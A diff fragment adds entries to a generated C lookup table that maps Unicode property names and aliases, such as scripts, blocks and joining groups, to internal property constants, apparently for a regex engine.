+  {     0,  8340,  8810,   3,   3, PL_JG__MIM }   /* jg=mim */,
+  {     0,  1679,     0,   2,   0, PL_PC }   /* pc */,
+  {     0,  8786,   806,   3,   1, PL_EA__W }   /* ea=w */,
+  {     7,  6926,     0,   9,   0, PL_SIND }   /* khudawadi */,
+  {     0,  7344,  7997,   8,   4, PL_XIDS }   /* xidstart=yes */,
+  {     0,  6713,  5219,   3,   2, PL_IN__10 }   /* in=10 */,
+  {   625,  7459,  8516,   3,   4, PL_SGNW }   /* sc=sgnw */,
+  {     2,  3129,  7611,  17,   7, PL_SOYO }   /* scriptextensions=soyombo */,
+  {    30,  7136,  3237,   6,  17, PL_ALCHEMICAL }   /* block=alchemicalsymbols */,
+  {  1077,  3129,  8111,  17,   5, PL_TAKR }   /* scriptextensions=takri */,
+  {     0,  7380,  7709,   7,   2, PL_CCC__16 }   /* ccc=ccc16 */,
+  {  1105,  8096,  8416,   4,   4, PL_MYMR }   /* scx=mymr */,
+  {     1,  7136,  4659,   6,  14, PL_ANCIENTSYMBOLS }   /* block=ancientsymbols */,
+  {     0,  5284,  7997,  13,   4, PL_CI }   /* caseignorable=yes */,
+  {     1,  5192,  5363,   3,   5, PL_IPAEXT }   /* isipaext */,
+  {     3,  6483,  7768,   4,   2, -PL_XIDC }   /* xidc=f */,
+  {   644,   184,  5813,   2,  12, PL_NL }   /* isletternumber */,
+  {     0,  5657,     0,   5,   0, PL_BIDIM }   /* bidim */,
+  {     2,   974,  8651,  24,   3, PL_CCC__132 }   /* canonicalcombiningclass=132 */,
+  {     0,  8340,  4384,   3,   3, PL_JG__SAD }   /* jg=sad */,
+  {     0,   513,  7951,  16,   5, PL_UIDEO }   /* unifiedideograph=true */,
+  {     1,  2859,  3543,  18,   5, PL_DT__SML }   /* decompositiontype=small */,
+  {     4,   184,    84,   2,   4, PL_MATH }   /* ismath */,
+  {     0,  5557,  7768,  13,   6, -PL_PATSYN }   /* patternsyntax=false */,
+  {  2240,  3067,     0,   8,   0, PL_DINGBATS }   /* dingbats */,
+  {    17,  7840,    67,   3,   4, PL_VSSUP }   /* isvssup */,
+  {    69,  5051,  3223,  14,   3, PL_NFKDQC__N }   /* nfkdquickcheck=no */,
+  {     9,  7485,  3521,   7,   5, PL_XPOSIXSPACE }   /* isxperlspace */,
+  {     3,  7459,  2895,   3,   4, PL_ETHI }   /* sc=ethi */,
+  {     3,  4542,   238,   3,   3, PL_TALE }   /* istale */,
+  {     0,   570,     0,  30,   0, PL_CJKEXTC }   /* cjkunifiedideographsextensionc */,
+  {     4,  6713,  8726,   3,   3, PL_IN__4_DOT_1 }   /* in=4.1 */,
+  {   914,  7288,  2967,   7,   8, PL_SC__GEOR }   /* script=georgian */,
+  {  2121,  6706,  8864,  10,   3, PL_IN__5 }   /* presentin=v50 */,
+  {   666,  6908,     0,   9,   0, PL_EMOTICONS }   /* emoticons */,
+  {   928,  7288,  8284,   7,   4, PL_DSRT }   /* script=dsrt */,
+  {   394,  3129,  8588,  17,   4, PL_YI }   /* scriptextensions=yiii */,
+  {    96,  7288,  8468,   7,   4, PL_MIAO }   /* script=plrd */,
+  {     0,  2236,  3084,  13,   9, PL_ZL }   /* category=lineseparator */,
+  {   403,  8011,  1012,   3,   6, PL_L }   /* gc=letter */,
+  {     0,  7344,  3581,   4,   2, PL_XIDS }   /* xids=t */,
+  {     2,  1392,     0,   9,   0, PL_CS }   /* surrogate */,
+  {     4,   117,  5363,   3,   5, PL_IPAEXT }   /* inipaext */,
+  {    29,  5645,  7997,   5,   2, PL_BIDIC }   /* bidic=y */,
+  {     1,   513,  7997,  16,   4, PL_UIDEO }   /* unifiedideograph=yes */,
+  {   145,   184,  1589,   2,  23, PL_LATINEXTADDITIONAL }   /* islatinextendedadditional */,
+  {    12,  5544,  8741,  13,   3, PL_NV__5_SLASH_6 }   /* numericvalue=5/6 */,
+  {     0,  7288,  8488,   7,   4, PL_RJNG }   /* script=rjng */,
+  {     0,  8288,  3191,   3,   3, PL_DT__MED }   /* dt=med */,
+  {     0,  1939,     0,  21,   0, PL_CJKCOMPATFORMS }   /* cjkcompatibilityforms */,
+  {     0,  1417,  4569,   9,  15, PL_LT }   /* category=titlecaseletter */,
+  {   136,  4314,  8774,  13,   3, PL_JG__BEH }   /* joininggroup=beh */,
+  {     0,  7320,     0,   8,   0, PL_TFNG }   /* tifinagh */,
+  {     1,  8572,  6395,   3,  11, PL_WB__SQ }   /* wb=singlequote */,
+  {   945,  6890,  1981,   4,  11, PL_CYRILLICSUP }   /* blk=cyrillicsup */,
+  {     0,  6890,  6029,   4,   8, PL_PHAISTOS }   /* blk=phaistos */,
+  {   323,  7459,  1680,   3,   6, PL_SC__ZYYY }   /* sc=common */,
+  {     0,  7689,  6865,   4,   7, PL_ARABICPFA }   /* isarabicpfa */,
+  {     7,  5134,  3077,   4,  16, PL_ZP }   /* isparagraphseparator */,
+  {  1281,  1402,  6686,  24,  10, PL_INPC__OVERSTRUCK }   /* indicpositionalcategory=overstruck */,
+  {    25,  8096,  8596,   4,   4, PL_ZANB }   /* scx=zanb */,
+  {     0,  1929,  7768,   9,   6, -PL_XPOSIXUPPER }   /* uppercase=false */,
+  {  1152,  6210,  2788,   3,  10, PL_CHEROKEESUP }   /* incherokeesup */,
+  {     0,  8096,  8384,   4,   4, PL_LINB }   /* scx=linb */,
+  {  1846,  7471,  8001,   7,   5, PL_POSIXCNTRL }   /* isposixcntrl */,
+  {     3,  2229,  1499,  16,   1, PL_Z }   /* generalcategory=z */,
+  {     0,  5544,  8685,  13,   2, PL_NV__24 }   /* numericvalue=24 */,
+  {     0,  7288,  7200,   7,   8, PL_SC__GURU }   /* script=gurmukhi */,
+  {  1472,  6706,  7732,  10,   1, PL_IN__5 }   /* presentin=5 */,
+  {    44,  7689,   183,   4,   2, PL_ARMI }   /* isarmi */,
+  {     1,  8340,  5019,   3,   4, PL_JG__TETH }   /* jg=teth */,
+  {     4,   974,  8617,  24,   2, PL_CCC__31 }   /* canonicalcombiningclass=31 */,
+  {     6,  7459,  7780,   3,   4, PL_CARI }   /* sc=cari */,
+  {     0,  7415,     0,   7,   0, PL_CJKEXTE }   /* cjkexte */,
+  {     0,  8572,  7352,   3,   7, PL_WB__LE }   /* wb=aletter */,
+  {     0,  3129,  2787,  17,   8, PL_CHER }   /* scriptextensions=cherokee */,
+  {     0,   184,  5310,   2,  13, PL_XPOSIXDIGIT }   /* isdecimalnumber */,
+  {   771,  1448,   352,   5,  30, PL_SUPMATHOPERATORS }   /* insupplementalmathematicaloperators */,
+  {  1156,  7136,  2044,   6,  21, PL_MEETEIMAYEKEXT }   /* block=meeteimayekextensions */,
+  {     0,    42,     0,   9,   0, PL_CJKCOMPAT }   /* cjkcompat */,
+  {     0,  7136,  7876,   6,   6, PL_INLYCIAN }   /* block=lycian */,
+  {     0,  7136,  2787,   6,  11, PL_CHEROKEESUP }   /* block=cherokeesup */,
+  {     0,  5315,     0,   5,   0, PL_XPOSIXALNUM }   /* alnum */,
+  {     0,  8816,  8627,   3,   3, PL_NV__1_SLASH_8 }   /* nv=1/8 */,
+  {  2179,   184,  8252,   2,   4, PL_BUHD }   /* isbuhd */,
+  {     0,   184,  8284,   2,   4, PL_DSRT }   /* isdsrt */,
+  {     0,   316,     0,  33,   0, PL_MISCMATHSYMBOLSB }   /* miscellaneousmathematicalsymbolsb */,
+  {     0,  8096,  8360,   4,   4, PL_KTHI }   /* scx=kthi */,
+  {   848,  5544,  7708,  13,   6, PL_NV__216000 }   /* numericvalue=216000 */,
+  {   322,    45,     0,   2,   0, PL_CO }   /* co */,
+  {  1221,  7689,  1260,   4,  22, PL_ARABICPFB }   /* isarabicpresentationformsb */,
+  {     0,  7136,  3067,   6,   8, PL_DINGBATS }   /* block=dingbats */,
+  {     0,   184,  6566,   2,  10, PL_BOXDRAWING }   /* isboxdrawing */,
+  {     4,  2750,  7951,   4,   5, PL_TERM }   /* term=true */,
+  {     5,  6890,  5093,   4,  14, PL_PHONETICEXTSUP }   /* blk=phoneticextsup */,
+  {   516,  8816,  7750,   3,   3, PL_NV__800 }   /* nv=800 */,
+  {     5,  7288,  6626,   7,   4, PL_KHAR }   /* script=khar */,
+  {    16,  8026,  2349,   5,  12, PL_INPC__TOPANDBOTTOM }   /* inpc=topandbottom */,
+  {   259,  8376,  4561,   3,   2, PL_LB__EB }   /* lb=eb */,
+  {     0,  6890,  5801,   4,  12, PL_KHMERSYMBOLS }   /* blk=khmersymbols */,
+  {  2692,   836,     0,  28,   0, PL_SUPPUAA }   /* supplementaryprivateuseareaa */,
+  {     0,  8376,   184,   3,   2, PL_LB__IS }   /* lb=is */,
+  {    17,  1206,  7313,   3,   7, PL_INTAGBANWA }   /* intagbanwa */,
+  {   606,  8011,    74,   3,   2, PL_ME }   /* gc=me */,
+  {     1,  1111,     0,   4,   0, PL_KANA }   /* kana */,
+  {     0,  6263,  1306,  10,  13, PL_LB__CM }   /* linebreak=combiningmark */,
+  {  2861,  8376,  5762,   3,   2, PL_LB__ZW }   /* lb=zw */,
+  {    32,  7224,  5315,   8,   5, PL_XPOSIXALNUM }   /* isxposixalnum */,
+  {   128,  8086,  3223,   5,   2, -PL_QMARK }   /* qmark=n */,
+  {     0,  4449,  7373,   4,   7, PL_NFCQC__M }   /* nfcqc=maybe */,
+  {     0,  7816,  3223,   6,   3, -PL_GRBASE }   /* grbase=no */,
+  {    30,  4827,     0,   6,   0, PL_KANGXI }   /* kangxi */,
+  {   264,  8096,  8516,   4,   4, PL_SGNW }   /* scx=sgnw */,
+  {    18,  1701,  7768,   2,   2, -PL_SD }   /* sd=f */,
+  {     2,   184,  7366,   2,   7, PL_BENG }   /* isbengali */,
+  {    10,   122,  7768,   9,   2, -PL_DIA }   /* diacritic=f */,
+  {   184,  3866,     0,  16,   0, PL_MISCMATHSYMBOLSB }   /* miscmathsymbolsb */,
+  {    40,  1892,     0,   5,   0, PL_CASED }   /* cased */,
+  {     3,  8096,  7104,   4,   8, PL_ARMN }   /* scx=armenian */,
+  {     4,  7459,  7597,   3,   7, PL_SHAW }   /* sc=shavian */,
+  {  1676,  2636,     0,  12,   0, PL_MONGOLIANSUP }   /* mongoliansup */,
+  {  3109,   892,  7997,  17,   4, PL_VS }   /* variationselector=yes */,
+  {     0,  7478,  8529,   3,   3, PL_SYRC }   /* issyrc */,
+  {   145,  8344,     0,   3,   1, PL_JT__U }   /* jt=u */,
+  {     0,  2229,   218,  16,   2, PL_PE }   /* generalcategory=pe */,
+  {     0,    21,  6989,   2,   9, PL_INNEWTAILUE }   /* innewtailue */,
+  {   664,    21,  4883,   2,  14, PL_LATINEXTE }   /* inlatinextendede */,
+  {     0,  6706,  8152,  10,   4, PL_IN__10 }   /* presentin=10.0 */,
+  {    21,   184,  3441,   2,  17, PL_LETTERLIKESYMBOLS }   /* isletterlikesymbols */,
+  {    13,  6890,  8066,   4,   5, PL_INORIYA }   /* blk=oriya */,
+  {  2823,  8021,  7951,   5,   5, PL_GREXT }   /* grext=true */,
+  {     0,  8340,   727,   3,   3, PL_JG__DAL }   /* jg=dal */,
+  {     2,  8931,     0,   2,   0, PL_L_AMP_ }   /* l& */,
+  {     0,  1855,  7768,  21,   6, -PL_CWCM }   /* changeswhencasemapped=false */,
+  {     1,   892,     0,  17,   0, PL_VS }   /* variationselector */,
+  {     0,  1202,  7768,   3,   6, -PL_DEP }   /* dep=false */,
+  {    75,  8340,  5885,   3,  12, PL_JG__MALAYALAMNYA }   /* jg=malayalamnya */,
+  {     0,  8816,  8717,   3,   3, PL_NV__3_SLASH_4 }   /* nv=3/4 */,
+  {     0,  7136,  2636,   6,  19, PL_MONGOLIANSUP }   /* block=mongoliansupplement */,
+  {     0,    11,  3223,   3,   3, -PL_DIA }   /* dia=no */,
+  {     0,  1426,  5297,  22,  13, PL_INSC__CONSONANTDEAD }   /* indicsyllabiccategory=consonantdead */,
+  {     0,  2221,  3581,   3,   2, PL_GCB__T }   /* hst=t */,
+  {     1,  7136,  3458,   6,  10, PL_INMANICHAEAN }   /* block=manichaean */,
+  {     0,  8288,    68,   3,   3, PL_DT__SUP }   /* dt=sup */,
+  {     0,  6297,     0,   4,   0, PL_CS }   /* iscs */,
+  {     0,  7894,  7768,   6,   2, -PL_PATSYN }   /* patsyn=f */,
+  {     0,  7136,  6296,   6,  11, PL_MISCSYMBOLS }   /* block=miscsymbols */,
+  {     5,  8816,  8621,   3,   3, PL_NV__1_SLASH_6 }   /* nv=1/6 */,
+  {   920,  7288,  8372,   7,   4, PL_SC__LATN }   /* script=latn */,
+  {     0,  6890,  2107,   4,  21, PL_SINHALAARCHAICNUMBERS }   /* blk=sinhalaarchaicnumbers */,
+  {    56,  8086,  7951,   5,   5, PL_QMARK }   /* qmark=true */,
+  {     0,  6713,  8612,   3,   3, PL_IN__1_DOT_1 }   /* in=1.1 */,
+  {     3,  2859,  7184,  18,   3, PL_DT__FRA }   /* decompositiontype=fra */,
+  {     0,   122,  3581,   9,   2, PL_DIA }   /* diacritic=t */,
+  {  2244,  7136,  6120,   6,  11, PL_DOMINO }   /* block=dominotiles */,
+  {     0,  4314,  6065,  13,  11, PL_JG__AFRICANNOON }   /* joininggroup=africannoon */,
+  {     0,  1658,     0,  22,   0, PL_CJKCOMPATIDEOGRAPHSSUP }   /* cjkcompatideographssup */,
+  {     0,  4314,  4911,  13,  14, PL_JG__MANICHAEANAYIN }   /* joininggroup=manichaeanayin */,
+  {   130,  6208,  3223,   5,   2, -PL_JOINC }   /* joinc=n */,
+  {     0,  8432,     0,   4,   0, PL_NKO }   /* nkoo */,
+  {  2070,  8096,  8424,   4,   4, PL_NBAT }   /* scx=nbat */,
+  {     0,  8096,  8524,   4,   4, PL_SHRD }   /* scx=shrd */,
+  {     1,  5284,     0,  13,   0, PL_CI }   /* caseignorable */,
+  {     4,  3129,  2531,  17,   4, PL_MULT }   /* scriptextensions=mult */,
+  {     0,  1206,  8107,   3,   4, PL_INTAILE }   /* intaile */,
+  {     3,  4542,  1909,   3,   8, PL_LT }   /* istitlecase */,
+  {     0,  7288,  3754,   7,   7, PL_SC__LINB }   /* script=linearb */,
+  {     9,  8011,  8939,   3,   2, PL_ZP }   /* gc=zp */,
+  {    10,  8432,     0,   3,   0, PL_NKO }   /* nko */,
+  {     0,  5544,  8915,  13,   2, PL_NV__48 }   /* numericvalue=48 */,
+  {     0,  5544,  8164,  13,   2, PL_NV__15 }   /* numericvalue=15 */,
+  {     0,  6210,  3357,   3,  16, PL_CYRILLICEXTC }   /* incyrillicextendedc */,
+  {     3,  8056,     0,   5,   0, PL_NSHU }   /* nushu */,
+  {  4768,  8240,  5621,   3,  12, PL_BC__AL }   /* bc=arabicletter */,
+  {     0,  7136,  8388,   6,   4, PL_LISU }   /* block=lisu */,
+  {    84,  1834,  3223,  21,   2, -PL_CWCF }   /* changeswhencasefolded=n */,
+  {  4004,  5192,  2270,   3,  19, PL_PHLI }   /* isinscriptionalpahlavi */,
+  {     0,  7380,  7702,   7,   2, PL_CCC__20 }   /* ccc=ccc20 */,
+  {     0,  8376,  5107,   3,  14, PL_LB__PO }   /* lb=postfixnumeric */,
+  {     0,   974,  8669,  24,   3, PL_CCC__202 }   /* canonicalcombiningclass=202 */,
+  {    51,   974,  8645,  27,   3, PL_CCC__129 }   /* canonicalcombiningclass=ccc129 */,
+  {  1225,  8816,  8666,   3,   3, PL_NV__2_SLASH_5 }   /* nv=2/5 */,
+  {   653,  7168,  7997,   8,   2, PL_EXT }   /* extender=y */,
+  {   205,  5657,  7768,  12,   2, -PL_BIDIM }   /* bidimirrored=f */,
+  {  2067,  8288,  1224,   3,   3, PL_DT__SUB }   /* dt=sub */,
+  {     4,  8372,     0,   4,   0, PL_LATN }   /* latn */,
+  {  3077,  8376,  7695,   3,   7, PL_LB__ZW }   /* lb=zwspace */,
+  {     0,  5544,  7750,  13,   5, PL_NV__80000 }   /* numericvalue=80000 */,
+  {  1552,  5134,  8078,   4,   3, PL_PATWS }   /* ispatws */,
+  {     0,  7459,  6881,   3,   9, PL_BHKS }   /* sc=bhaiksuki */,
+  {   584,  4542,  7321,   3,   7, PL_TFNG }   /* istifinagh */,
+  {   130,  6890,   849,   4,  10, PL_PUA }   /* blk=privateuse */,
+  {   162,  6263,  4524,  10,  15, PL_LB__OP }   /* linebreak=openpunctuation */,
+  {   603,  1918,  3223,  21,   3, -PL_CWU }   /* changeswhenuppercased=no */,
+  {    10,  6890,    78,   4,  35, PL_ARABICMATH }   /* blk=arabicmathematicalalphabeticsymbols */,
+  {     0,   119,  7811,   3,   5, PL_INGOTHIC }   /* ingothic */,
+  {     1,  3129,  2967,  17,   4, PL_GEOR }   /* scriptextensions=geor */,
+  {   307,  1202,  3223,   3,   2, -PL_DEP }   /* dep=n */,
+  {     0,  5427,     0,   9,   0, PL_MLYM }   /* malayalam */,
+  {     6,  8428,     0,   4,   0, PL_NEWA }   /* newa */,
+  {     2,  8096,  8468,   4,   4, PL_MIAO }   /* scx=plrd */,
+  {    78,  2269,     0,  20,   0, PL_PHLI }   /* inscriptionalpahlavi */,
+  {     4,   184,  7443,   2,   7, PL_GRAN }   /* isgrantha */,
+  {     2,  6210,  5706,   3,  11, PL_CYRILLICEXTC }   /* incyrillicextc */,
+  {    12,  5250,  7951,   8,   5, PL_XPOSIXXDIGIT }   /* hexdigit=true */,
+  {  1539,  7457,  7688,   5,   7, PL_INSC__VISARGA }   /* insc=visarga */,
+  {  1301,  7224,  5253,   8,   5, PL_XPOSIXDIGIT }   /* isxposixdigit */,
+  {     0,  6890,  3067,   4,   8, PL_DINGBATS }   /* blk=dingbats */,
+  {  2595,  1206,  1813,   3,  21, PL_TRANSPORTANDMAP }   /* intransportandmapsymbols */,
+  {    13,    21,  2150,   3,  19, PL_INANATOLIANHIEROGLYPHS }   /* inanatolianhieroglyphs */,
+  {  1105,  4542,  3148,   3,  10, PL_TAIXUANJING }   /* istaixuanjing */,
+  {  1414,  3373,     0,  16,   0, PL_EA__H }   /* eastasianwidth=h */,
+  {   585,  7136,  3611,   7,   7, PL_INBOPOMOFO }   /* block=bopomofo */,
+  {     3,  7288,  8568,   7,   4, PL_VAI }   /* script=vaii */,
+  {    49,  8196,  8861,   4,   3, PL_AGE__4_DOT_1 }   /* age=v41 */,
+  {     3,  6713,  7744,   3,   1, PL_IN__7 }   /* in=7 */,
+  {     0,  7152,     0,   8,   0, PL_DUPL }   /* duployan */,
+  {     7,  7689,    97,   3,   4, PL_XPOSIXALPHA }   /* isalpha */,
+  {   124,  7288,  2895,   7,   8, PL_ETHI }   /* script=ethiopic */,
+  {  2386,  5645,  2579,  10,  19, PL_BC__LRO }   /* bidiclass=lefttorightoverride */,
+  {  1088,  7136,  2895,   6,  18, PL_ETHIOPICSUP }   /* block=ethiopicsupplement */,
+  {     2,  1746,  5772,  21,   5, PL_WB__EB }   /* graphemeclusterbreak=ebase */,
+  {     9,  7136,  4813,   6,   7, PL_KANASUP }   /* block=kanasup */,
+  {     0,   184,  3610,   2,  16, PL_BOPOMOFOEXT }   /* isbopomofoextended */,
+  {     3,  1746,  5753,  21,  12, PL_WB__GAZ }   /* graphemeclusterbreak=glueafterzwj */,
+  {     0,  2065,  7768,  21,   6, -PL_NCHAR }   /* noncharactercodepoint=false */,
+  {     0,  1346,  4774,   5,  11, PL_INGREEK }   /* ingreekandcoptic */,
+  {     0,  3129,  6676,  17,  10, PL_XPEO }   /* scriptextensions=oldpersian */,
+  {     0,  2108,  3723,   3,  15, PL_HIGHPUSURROGATES }   /* inhighpusurrogates */,
+  {   934,  1892,  3223,   5,   2, -PL_CASED }   /* cased=n */,
+  {  4292,  7459,  7061,   3,   9, PL_SAMR }   /* sc=samaritan */,
+  {    32,  7288,  4644,   7,  15, PL_ZANB }   /* script=zanabazarsquare */,
+  {     0,  8508,  7877,   4,   5, PL_LYCI }   /* sc=lycian */,
+  {    22,   184,  5706,   3,  11, PL_CYRILLICEXTC }   /* iscyrillicextc */,
+  {     0,  5284,  7768,  13,   2, -PL_CI }   /* caseignorable=f */,
+  {    12,  7136,   510,   6,  30, PL_CJKEXTA }   /* block=cjkunifiedideographsextensiona */,
+  {     0,  8076,  7768,   5,   6, -PL_PATWS }   /* patws=false */,
+  {     0,  1417,    25,   9,   1, PL_S }   /* category=s */,
+  {  2714,  7136,  6484,   6,   3, PL_INIDC }   /* block=idc */,
+  {  1157,  7136,   316,   6,  33, PL_MISCMATHSYMBOLSB }   /* block=miscellaneousmathematicalsymbolsb */,
+  {  3411,   974,  8187,  27,   2, PL_CCC__27 }   /* canonicalcombiningclass=ccc27 */,
+  {    32,  7227,  3521,   5,   5, PL_POSIXSPACE }   /* posixspace */,
+  {     0,  7136,  5945,   6,  12, PL_MATHALPHANUM }   /* block=mathalphanum */,
+  {     7,  7136,   447,   6,  32, PL_IDEOGRAPHICSYMBOLS }   /* block=ideographicsymbolsandpunctuation */,
+  {     0,   540,     0,  30,   0, PL_CJKEXTB }   /* cjkunifiedideographsextensionb */,
+  {   606,  7288,  6406,   7,   4, PL_SORA }   /* script=sora */,
+  {  4224,  4630,  2883,   3,   3, PL_UGAR }   /* isugar */,
+  {     0,  8096,  7248,   4,   8, PL_JAVA }   /* scx=javanese */,
+  {     1,  6890,  5945,   4,  12, PL_MATHALPHANUM }   /* blk=mathalphanum */,
+  {   176,  4757,  3223,  14,   2, -PL_GREXT }   /* graphemeextend=n */,
+  {  1564,  1202,     0,   3,   0, PL_DEP }   /* dep */,
+  {     0,    21,  7248,   2,   8, PL_INJAVANESE }   /* injavanese */,
+  {     7,  6736,     0,   4,   0, PL_SAUR }   /* saur */,
+  {    32,  8572,  5729,   3,  12, PL_WB__EX }   /* wb=extendnumlet */,
+  {     0,  8011,  5083,   4,  10, PL_MC }   /* gc=spacingmark */,
+  {  2661,  7288,  7025,   7,   9, PL_ORKH }   /* script=oldturkic */,
+  {     0,  8816,  7714,   3,   5, PL_NV__30000 }   /* nv=30000 */,
+  {     0,  6890,  3738,   4,   6, PL_LATIN1 }   /* blk=latin1 */,
+  {     2,  7478,  2713,   3,  18, PL_SUPARROWSB }   /* issupplementalarrowsb */,
+  {    33,  6210,  1283,   3,  23, PL_CJKSYMBOLS }   /* incjksymbolsandpunctuation */,
+  {     0,  2229,  1797,  16,  14, PL_LM }   /* generalcategory=modifierletter */,
+  {   906,  1001,     0,  27,   0, PL_ENCLOSEDCJK }   /* enclosedcjklettersandmonths */,
+  {     0,  3129,  8200,  17,   4, PL_AGHB }   /* scriptextensions=aghb */,
+  {     0,  6756,  3581,  10,   2, PL_SD }   /* softdotted=t */,
+  {     0,  7288,  8320,   7,   4, PL_HLUW }   /* script=hluw */,
+  {     0,  7459,  2967,   3,   8, PL_SC__GEOR }   /* sc=georgian */,
+  {     0,  6890,  2636,   4,  12, PL_MONGOLIANSUP }   /* blk=mongoliansup */,
+  {     7,  6890,  2389,   4,  19, PL_ANCIENTGREEKNUMBERS }   /* blk=ancientgreeknumbers */,
+  {  1394,  1426,  1330,  22,   9, PL_INSC__CONSONANT }   /* indicsyllabiccategory=consonant */,
+  {  2048,  2712,     0,  19,   0, PL_SUPARROWSB }   /* supplementalarrowsb */,
+  {     4,    21,  6241,   2,  11, PL_KATAKANAEXT }   /* inkatakanaext */,
+  {     0,   184,  5388,   2,  13, PL_KANAEXTA }   /* iskanaextendeda */,
+  {    64,  2229,  3690,  16,  16, PL_PF }   /* generalcategory=finalpunctuation */,
+  {     0,  7288,  7555,   7,   7, PL_OLCK }   /* script=olchiki */,
+  {     0,  7894,  7997,   6,   4, PL_PATSYN }   /* patsyn=yes */,
+  {     1,  6890,  3390,   4,  17, PL_ETHIOPICEXTA }   /* blk=ethiopicextendeda */,
+  {   351,  3373,  7888,  15,   6, PL_EA__NA }   /* eastasianwidth=narrow */,
+  {     4,  8340,    87,   3,   2, PL_JG__HE }   /* jg=he */,
+  {    21,  3129,  1111,  17,   4, PL_KANA }   /* scriptextensions=kana */,
+  {   545,  3129,  8071,  17,   5, PL_OSGE }   /* scriptextensions=osage */,
+  {     2,  1417,    47,   9,   1, PL_M }   /* category=m */,
+  {   226,  7288,  8556,   7,   4, PL_THAI }   /* script=thai */,
+  {     0,  8260,     0,   4,   0, PL_CAKM }   /* cakm */,
+  {  6864,  6713,  8657,   3,   3, PL_IN__2 }   /* in=2.0 */,
+  {  2188,  6706,  8849,  10,   3, PL_IN__3 }   /* presentin=v30 */,
+  {     0,  8066,     0,   5,   0, PL_ORYA }   /* oriya */,
+  {   520,  7876,     0,   4,   0, PL_LYCI }   /* lyci */,
+  {    12,  7380,  8228,   4,   4, PL_CCC__133 }   /* ccc=atbl */,
+  {   321,  5401,     0,  13,   0, PL_ZL }   /* lineseparator */,
+  {  5897,  2859,  2369,  18,   8, PL_DT__VERT }   /* decompositiontype=vertical */,
+  {     3,   184,   720,   2,  30, PL_ENCLOSEDALPHANUMSUP }   /* isenclosedalphanumericsupplement */,
+  {  4182,    21,  7256,   2,   8, PL_KANAEXTA }   /* inkanaexta */,
+  {     0,  6263,  7695,  10,   7, PL_LB__ZW }   /* linebreak=zwspace */,
+  {     0,  6263,  6087,  10,  11, PL_LB__BB }   /* linebreak=breakbefore */,
+  {  2459,  2750,  7768,  19,   2, -PL_TERM }   /* terminalpunctuation=f */,
+  {  3875,  7459,  7991,   3,   5, PL_SC__BUHD }   /* sc=buhid */,
+  {     5,  7136,  1498,   7,  13, PL_BYZANTINEMUSIC }   /* block=byzantinemusic */,
+  {     0,  7136,  6626,   6,  10, PL_INKHAROSHTHI }   /* block=kharoshthi */,
+  {  3113,  8016,  7160,   4,   8, PL_WB__EBG }   /* gcb=ebasegaz */,
+  {     0,  3129,  7520,  17,   4, PL_MARC }   /* scriptextensions=marc */,
+  {     1,  2967,     0,   4,   0, PL_GEOR }   /* geor */,
+  {     0,  7288,  7443,   7,   7, PL_SC__GRAN }   /* script=grantha */,
+  {     4,  3424,  3223,  17,   3, -PL_IDSB }   /* idsbinaryoperator=no */,
+  {     8,  8340,  5894,   3,   3, PL_JG__NYA }   /* jg=nya */,
+  {  2824,  1448,  2705,   5,   7, PL_SUPARROWSA }   /* insuparrowsa */,
+  {    32,  6756,  7768,  10,   2, -PL_SD }   /* softdotted=f */,
+  {     0,  7380,  8685,   4,   2, PL_CCC__24 }   /* ccc=24 */,
+  {     0,  7689,  1236,   4,  22, PL_ARABICPFA }   /* isarabicpresentationformsa */,
+  {     0,  7380,  8696,   4,   3, PL_CCC__AR }   /* ccc=232 */,
+  {     0,  3424,  3223,   4,   3, -PL_IDSB }   /* idsb=no */,
+  {     0,  5544,  7714,  13,   5, PL_NV__30000 }   /* numericvalue=30000 */,
+  {     0,  2229,  1886,  16,   2, PL_NL }   /* generalcategory=nl */,
+  {     0,  1503,   751,   3,  21, PL_ENCLOSEDIDEOGRAPHICSUP }   /* inenclosedideographicsup */,
+  {     0,  7380,  5349,   4,  13, PL_CCC__IS }   /* ccc=iotasubscript */,
+  {   225,  3882,     0,  16,   0, PL_MYANMAREXTA }   /* myanmarextendeda */,
+  {  6178,  6483,  7951,   4,   5, PL_XIDC }   /* xidc=true */,
+  {  2484,    34,  7997,   3,   4, PL_EXT }   /* ext=yes */,
+  {     1,    96,  3581,  10,   2, PL_XPOSIXALPHA }   /* alphabetic=t */,
+  {   768,  7288,  2409,   8,   3, PL_BRAH }   /* script=brah */,
+  {     0,   184,    11,   2,   2, PL_DI }   /* isdi */,
+  {     7,  8096,  7520,   4,   4, PL_MARC }   /* scx=marc */,
+  {     0,  5645,     0,  11,   0, PL_BC__B }   /* bidiclass=b */,
+  {     4,  8508,  4630,   4,   3, PL_LISU }   /* sc=lisu */,
+  {     7,  7380,  7744,   4,   1, PL_CCC__7 }   /* ccc=7 */,
+  {     1,  7136,     0,   6,  42, PL_UCASEXT }   /* block=unifiedcanadianaboriginalsyllabicsextended */,
+  {     9,  1790,     0,  22,   0, PL_MODIFIERLETTERS }   /* spacingmodifierletters */,
+  {    15,  8021,  3581,   5,   2, PL_GREXT }   /* grext=t */,
+  {   320,   184,  1982,   3,  10, PL_CYRILLICSUP }   /* iscyrillicsup */,
+  {  7211,   974,  3254,  24,  17, PL_CCC__133 }   /* canonicalcombiningclass=attachedbelowleft */,
+  {  2082,  6890,  6296,   4,  11, PL_MISCSYMBOLS }   /* blk=miscsymbols */,
+  {    74,  8096,  7248,   4,   4, PL_JAVA }   /* scx=java */,
+  {  5236,    27,     0,   2,   0, PL_LL }   /* ll */,
+  {     4,  2134,  3223,   3,   2, -PL_XPOSIXXDIGIT }   /* hex=n */,
+  {     0,  8376,  5789,   3,  12, PL_LB__IS }   /* lb=infixnumeric */,
+  {  5204,  1892,  7997,   5,   4, PL_CASED }   /* cased=yes */,
+  {  1290,  2859,  7888,  18,   6, PL_DT__NAR }   /* decompositiontype=narrow */,
+  {     0,  8777,  7768,   3,   6, -PL_CWL }   /* cwl=false */,
+  {     1,  7288,  1589,   7,   5, PL_SC__LATN }   /* script=latin */,
+  {     0,  6756,  7951,  10,   5, PL_SD }   /* softdotted=true */,
+  {     8,  6890,   720,   4,  30, PL_ENCLOSEDALPHANUMSUP }   /* blk=enclosedalphanumericsupplement */,
+  {     1,  7136,  2107,   6,  21, PL_SINHALAARCHAICNUMBERS }   /* block=sinhalaarchaicnumbers */,
+  {     0,  6472,  2284,  10,   2, PL_LB__HL }   /* wordbreak=hl */,
+  {     4,  3114,     1,   3,  41, PL_UCASEXT }   /* inunifiedcanadianaboriginalsyllabicsextended */,
+  {     0,   184,   114,   3,  34, PL_DIACRITICALSFORSYMBOLS }   /* iscombiningdiacriticalmarksforsymbols */,
